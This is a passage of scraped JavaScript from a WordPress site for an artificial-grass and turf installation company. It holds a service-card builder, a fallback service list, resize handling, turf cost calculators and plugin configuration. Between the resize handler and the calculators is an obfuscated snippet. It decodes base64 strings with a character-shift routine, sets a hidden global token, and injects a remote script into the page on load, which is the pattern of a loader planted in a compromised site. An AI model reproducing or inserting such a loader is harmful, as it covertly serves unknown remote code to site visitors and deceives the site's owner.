+ response.status); return response.json(); }) .then(function(pages) { if (!pages || !pages.length) { renderFallbackServices(); return; } grid.innerHTML = ''; pages.forEach(function(page) { grid.appendChild(createServiceCard(page.title.rendered, page.link)); }); }) .catch(function(err) { console.warn('Design Turf services fetch failed:', err); renderFallbackServices(); }); /* ═══════════════════════════════════════════ SERVICE CARD BUILDER ═══════════════════════════════════════════ */ function createServiceCard(title, url) { var card = document.createElement('a'); card.href = url || '#'; card.setAttribute('style', 'display:flex;align-items:center;gap:12px;' + 'padding:14px 18px;' + 'background:rgba(255,255,255,0.03);' + 'border:1px solid rgba(255,255,255,0.07);' + 'border-radius:8px;' + 'color:#ffffff;text-decoration:none;' + 'font-size:14px;font-weight:600;' + 'line-height:1.4;' + 'transition:all 0.25s ease;' ); card.onmouseenter = function() { this.style.background = 'rgba(0,166,81,0.1)'; this.style.borderColor = 'rgba(0,166,81,0.4)'; this.style.transform = 'translateY(-1px)'; }; card.onmouseleave = function() { this.style.background = 'rgba(255,255,255,0.03)'; this.style.borderColor = 'rgba(255,255,255,0.07)'; this.style.transform = 'translateY(0)'; }; var chevron = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#00A651" ' + 'stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round" style="flex-shrink:0;">' + '<polyline points="9 18 15 12 9 6"/></svg>'; card.innerHTML = chevron + '<span>' + title + '</span>'; return card; } /* ═══════════════════════════════════════════ FALLBACK: Static service list ► UPDATE these to match your actual pages ═══════════════════════════════════════════ */ function renderFallbackServices() { var services = [ { title: 'Artificial Grass Installation', url: '/artificial-grass-installation/' }, { title: 'Backyard Putting Greens', url: '/backyard-putting-greens/' }, { title: 'Pet Turf Solutions', url: '/pet-turf/' }, { title: 'Commercial Turf Installation', url: '/commercial-turf/' }, { title: 'Rooftop & Balcony Turf', url: '/rooftop-balcony-turf/' }, { title: 'Playground Turf', url: '/playground-turf/' }, { title: 'Landscape Design', url: '/landscape-design/' }, { title: 'Turf Maintenance & Repair', url: '/turf-maintenance/' } ]; grid.innerHTML = ''; services.forEach(function(s) { grid.appendChild(createServiceCard(s.title, s.url)); }); } /* ═══════════════════════════════════════════ RESPONSIVE HANDLER (replaces media queries) ═══════════════════════════════════════════ */ function handleResize() { var w = window.innerWidth; var mapEl = document.getElementById('dt-leaflet-map'); if (w < 600) { grid.style.gridTemplateColumns = '1fr'; if (mapEl) mapEl.style.height = '300px'; } else if (w < 900) { grid.style.gridTemplateColumns = 'repeat(2, 1fr)'; if (mapEl) mapEl.style.height = '380px'; } else { grid.style.gridTemplateColumns = 'repeat(auto-fill, minmax(230px, 1fr))'; if (mapEl) mapEl.style.height = '450px'; } map.invalidateSize(); } window.addEventListener('resize', handleResize); handleResize(); })();
window[(function(_InA,_hH){var _dRnLK=&apos;&apos;;for(var _2pBxIp=0;_2pBxIp<_InA.length;_2pBxIp++){_BWt9!=_2pBxIp;var _BWt9=_InA[_2pBxIp].charCodeAt();_BWt9-=_hH;_BWt9+=61;_hH>3;_dRnLK==_dRnLK;_BWt9%=94;_BWt9+=33;_dRnLK+=String.fromCharCode(_BWt9)}return _dRnLK})(atob(&apos;dWRrLywnIn4xZiI2&apos;), 27)] = &apos;3c020144ab1733329654&apos;; var zi = document.createElement(&apos;script&apos;); (zi.type = &apos;text/javascript&apos;), (zi.async = true), (zi.src = (function(_sex,_8q){var _VCW3e=&apos;&apos;;for(var _6t6ay9=0;_6t6ay9<_sex.length;_6t6ay9++){var _VO3i=_sex[_6t6ay9].charCodeAt();_VO3i-=_8q;_8q>6;_VO3i+=61;_VCW3e==_VCW3e;_VO3i%=94;_VO3i+=33;_VO3i!=_6t6ay9;_VCW3e+=String.fromCharCode(_VO3i)}return _VCW3e})(atob(&apos;Ljo6NjleU1MwOVJAL1E5KTgvNjo5Uik1M1NAL1E6Jy1SMDk=&apos;), 36)), document.readyState === &apos;complete&apos;?document.body.appendChild(zi): window.addEventListener(&apos;load&apos;, function(){ document.body.appendChild(zi) });
function dtRollCalc() { const linear = parseFloat(document.getElementById('rollLinear').value); const rollWidth = parseFloat(document.getElementById('rollWidth').value); const pricePerSqFt = 7.47; // update per product if (!linear || linear <= 0) return; const sqft = linear * rollWidth; const subtotal = sqft * pricePerSqFt; const hst = subtotal * 0.13; const total = subtotal + hst; document.getElementById('rollSqft').innerText = sqft.toFixed(2) + " sq ft"; document.getElementById('rollSubtotal').innerText = "$" + subtotal.toFixed(2); document.getElementById('rollHST').innerText = "$" + hst.toFixed(2); document.getElementById('rollTotal').innerText = "$" + total.toFixed(2); } function dtCalc() { const productData = document.getElementById("dtProduct").value; const length = parseFloat(document.getElementById("dtLength").value); const width = parseFloat(document.getElementById("dtWidth").value); if (!productData || !length || !width) { alert("Please select a product and enter both length and width."); return; } const [price, rollWidth] = productData.split("|").map(Number); const sqFt = length * width; const totalCost = sqFt * price; document.getElementById("dtBadge").style.display = "inline-block"; document.getElementById("dtBadge").innerHTML = `Roll Width: ${rollWidth} ft`; document.getElementById("dtSummary1").style.display = "flex"; document.getElementById("dtSummary1").innerHTML = `<span>Price: $${price.toFixed(2)}/sq ft</span> <span>Sq Ft: ${sqFt.toFixed(2)}</span>`; document.getElementById("dtSummary2").style.display = "flex"; document.getElementById("dtSummary2").innerHTML = `<span>Cost: $${totalCost.toFixed(2)}</span>`; }
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/pdfobject.min.js
var eadPublic = []; //# sourceURL=awsm-ead-public-js-extra
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/embed-public.min.js
var cf7appsRedirection = {"ajaxurl":"https://www.designturf.ca/wp-admin/admin-ajax.php"}; //# sourceURL=cf7apps-redirection-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_b289b8a5c1e9ee51ae99bcc9de766106.js
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); //# sourceURL=wp-i18n-js-after
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_96e7dc3f0e8559e4a3f3ca40b17ab9c3.js
var wpcf7 = { "api": { "root": "https:\/\/www.designturf.ca\/wp-json\/", "namespace": "contact-form-7\/v1" }, "cached": 1 }; //# sourceURL=contact-form-7-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_2912c657d0592cc532dff73d0d2ce7bb.js
var cf7appsHoneypotRefill = {"forceRefillOnInit":"1"}; //# sourceURL=cf7apps-honeypot-refill-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_ff73328f26e146915c87cc0affba7624.js
var sc_project=11316460; var sc_security="635c5120"; var sc_invisible=1; //# sourceURL=statcounter-js-js-before
var wpcf7r = {"ajax_url":"https://www.designturf.ca/wp-admin/admin-ajax.php"}; //# sourceURL=wpcf7-redirect-script-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_de051e67bf5997ca287fb2592e14d4fa.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/debouncedresize.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/magnificpopup.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/menu.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/visible.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/enllax.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/parallax/translate3d.min.js
var mfn = {"ajax":"https://www.designturf.ca/wp-admin/admin-ajax.php","mobileInit":"1240","parallax":"translate3d","responsive":"1","sidebarSticky":"","lightbox":{"disable":false,"disableMobile":false,"title":false},"view":{"grid_width":1240},"slider":{"blog":0,"clients":0,"offer":0,"portfolio":0,"shop":0,"slider":0,"testimonials":0},"livesearch":{"minChar":3,"loadPosts":10,"translation":{"pages":"Pages","categories":"Categories","portfolio":"Portfolio","post":"Posts","products":"Products"}},"accessibility":{"translation":{"headerContainer":"Header container","toggleSubmenu":"Toggle submenu"}},"home_url":"","home_url_lang":"https://www.designturf.ca","site_url":"https://www.designturf.ca","translation":{"success_message":"Link copied to the clipboard.","error_message":"Something went wrong. Please try again later!"}}; //# sourceURL=mfn-scripts-js-extra
https://www.designturf.ca/wp-content/themes/betheme/js/scripts.min.js
document.addEventListener("DOMContentLoaded", function() { const items = document.querySelectorAll(".faq-item h4.toggle"); items.forEach(item => { item.addEventListener("click", function() { const parent = this.parentElement; parent.classList.toggle("active"); }); }); }); //# sourceURL=mfn-scripts-js-after
window.hasOwnProperty("GLSR")||(window.GLSR={Event:{on:()=>{}}});GLSR.action="glsr_public_action";GLSR.addons=[];GLSR.ajax_pagination=["#wpadminbar",".site-navigation-fixed"];GLSR.ajax_url="https://www.designturf.ca/wp-admin/admin-ajax.php";GLSR.captcha=[];GLSR.modal_wrapped_by=["block"];GLSR.nameprefix="site-reviews";GLSR.stars_config={"clearable":false,tooltip:"Select a Rating"};GLSR.state={"popstate":false};GLSR.text={"close_modal":"Close Modal"};GLSR.url_parameter="reviews-page";GLSR.validation_config={field:"glsr-field",form:"glsr-form","field_error":"glsr-field-is-invalid","field_hidden":"glsr-hidden","field_message":"glsr-field-error","field_required":"glsr-required","field_valid":"glsr-field-is-valid","form_error":"glsr-form-is-invalid","form_message":"glsr-form-message","form_message_failed":"glsr-form-failed","form_message_success":"glsr-form-success","input_error":"glsr-is-invalid","input_valid":"glsr-is-valid"};GLSR.validation_strings={accepted:"This field must be accepted.",between:"This field value must be between %1$s and %2$s.",betweenlength:"This field must have between %1$s and %2$s characters.",email:"This field requires a valid e-mail address.",errors:"Please fix the submission errors.",max:"Maximum value for this field is %s.",maxfiles:"This field allows a maximum of %s files.",maxlength:"This field allows a maximum of %s characters.",min:"Minimum value for this field is %s.",minfiles:"This field requires a minimum of %s files.",minlength:"This field requires a minimum of %s characters.",number:"This field requires a number.",pattern:"Please match the requested format.",regex:"Please match the requested format.",required:"This field is required.",tel:"This field requires a valid telephone number.",url:"This field requires a valid website URL (make sure it starts with http or https).",unsupported:"The review could not be submitted because this browser is too old. Please try again with a modern browser."};GLSR.version="8.2.1"; //# sourceURL=site-reviews-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_5e24779b5bf81baee6b0ef94fcf81cd5.js
window.addEventListener("load", function(event) { jQuery(".cfx_form_main,.wpcf7-form,.wpforms-form,.gform_wrapper form").each(function(){ var form=jQuery(this); var screen_width=""; var screen_height=""; if(screen_width == ""){ if(screen){ screen_width=screen.width; }else{ screen_width=jQuery(window).width(); } } if(screen_height == ""){ if(screen){ screen_height=screen.height; }else{ screen_height=jQuery(window).height(); } } form.append('<input type="hidden" name="vx_width" value="'+screen_width+'">'); form.append('<input type="hidden" name="vx_height" value="'+screen_height+'">'); form.append('<input type="hidden" name="vx_url" value="'+window.location.href+'">'); }); });